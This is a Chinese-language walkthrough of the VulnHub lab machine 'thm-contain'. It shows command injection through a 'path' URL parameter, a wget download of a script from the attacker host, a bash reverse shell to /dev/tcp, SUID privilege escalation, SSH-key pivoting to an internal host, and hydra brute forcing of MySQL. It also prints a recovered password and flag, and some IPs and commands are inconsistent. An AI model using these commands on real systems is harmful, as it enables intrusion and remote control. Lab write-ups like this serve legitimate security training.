vulnhub靶机：thm-contain

一：信息收集

1：主机发现

for i in {1..254} ;do (ping 10.4.7.$i -c 1 -w 5 >/dev/null && echo "10.4.7.$i" &) ;done

2：扫描端口

for port in {1..65535}; do
echo >/dev/tcp/10.4.7.134/$port &&
echo "port $port is open"
done 2>/dev/null |grep open

3：用dirmap对80端口进行目录扫描

python dirmap.py -i http://10.4.7.134/ -lcf

dirb扫描

发现三个目录，依次看一下

4：进入开发者选项发现一个东西，可能有命令注入，对它进行模糊测试

wfuzz -c -u http://10.4.7.134/index.php?FUZZ=../../../../../../etc/passwd -w /usr/share/wfuzz/wordlist/general/common.txt --hh 329

5：发现一个参数path，我们打开利用他看看能不能打开passwd

发现没什么东西，再看看home文件下发现mike

6：发现命令存在漏洞，看那个文件具有写权限

http://10.4.7.134/index.php?path=; ls -l /

可以看到家目录下的缓存文件可以写入东西

7：kali上开启http服务，写一个反弹shell

1：开启http

python3 -m http.server 80

2：反弹shell

!/bin/bash

（#注释掉）code.sh

bash -i &> /dev/tcp/10.4.7.132/6868 0>&1;

3：地址栏把刚才的脚本上传到靶机的目录里

http://10.4.7.134/index.php?path=;wget -P /tmp 10.4.7.128/code.sh;ls -la /tmp;

8：写入脚本后开启对6868端口的监听

1：执行脚本

http://10.4.7.134/index.php?path=;bash /tmp/code.sh

2：开启监听

nc -lvvp 6868

9：进入容器先看看有没有root权限执行的文件

sudo -l

发现没有文件，看看home

发现底下有个文件很可疑，打开看看

好像不太行，可以看看他的二进制数据

xxd -ps /home/mike/1cryptupx

可以用hxd编码工具打开保存一下，因为后缀upx可以试试kali解包

upx -d -o dec 1cryptupx

报错了用一下upx tool解压一下

之后用ida静态反编译软件打开它

二：提权方式

1：利用find提权

find / -perm -4000 2>/dev/null

cd /usr/share/man/zh_TW

进入这个目录看一下这个文件

./crypt mike

可以看到虽然是root权限，但是还是data用户

升级一下shell

python3 -c 'import pty;pty.spawn("/bin/bash")';

2：提权方式二

发现host1，下载一个nmap

apt install nmap

1：查看ip发现两个新的IP

bash扫描命令

网段

for i in {1..254} ;do (ping 172.16.20.$i -c 1 -w 5 >/dev/null && echo "172.16.20.$i" &) ;done

发现多了一个ip为172.16.20.6

端口

for port in {1..65535}; do
echo >/dev/tcp/172.16.20.6/$port &&
echo "port $port is open"
done 2>/dev/null |grep open

发现开启了22端口，我们之前发现了home目录下有个mike，我们看看有什么

进入。ssh会发现有两个文件

公私钥方式登录就是为了让两个linux机器之间使用ssh不需要用户名和密码。采用了数字签名RSA或者DSA来完成这个操作。

3：登录一下ssh是否能进入host2

ssh mike@172.16.20.6 -i id_rsa

成功进入

4：查看当前开启的服务，发现了mysql服务

ss -tuln

hydra -l mike -P top1000.txt mysql://172.16.20.6

john --wordlist=/usr/share/wordlists/rockyou.txt mysql://172.16.20.6

5:尝试登录数据库

hydra -L ./user.txt -P ./top1000.txt -t 2 -e n -f -v 172.168.20.6 mysql

mysql -umike -ppassword

show databases;

use accounts;

show tables;

select * from users;

3:得到了root密码直接提权拿到flag

bjsig4868fgjjeog

解压一下mike.zip

WhatAreYouDoingHere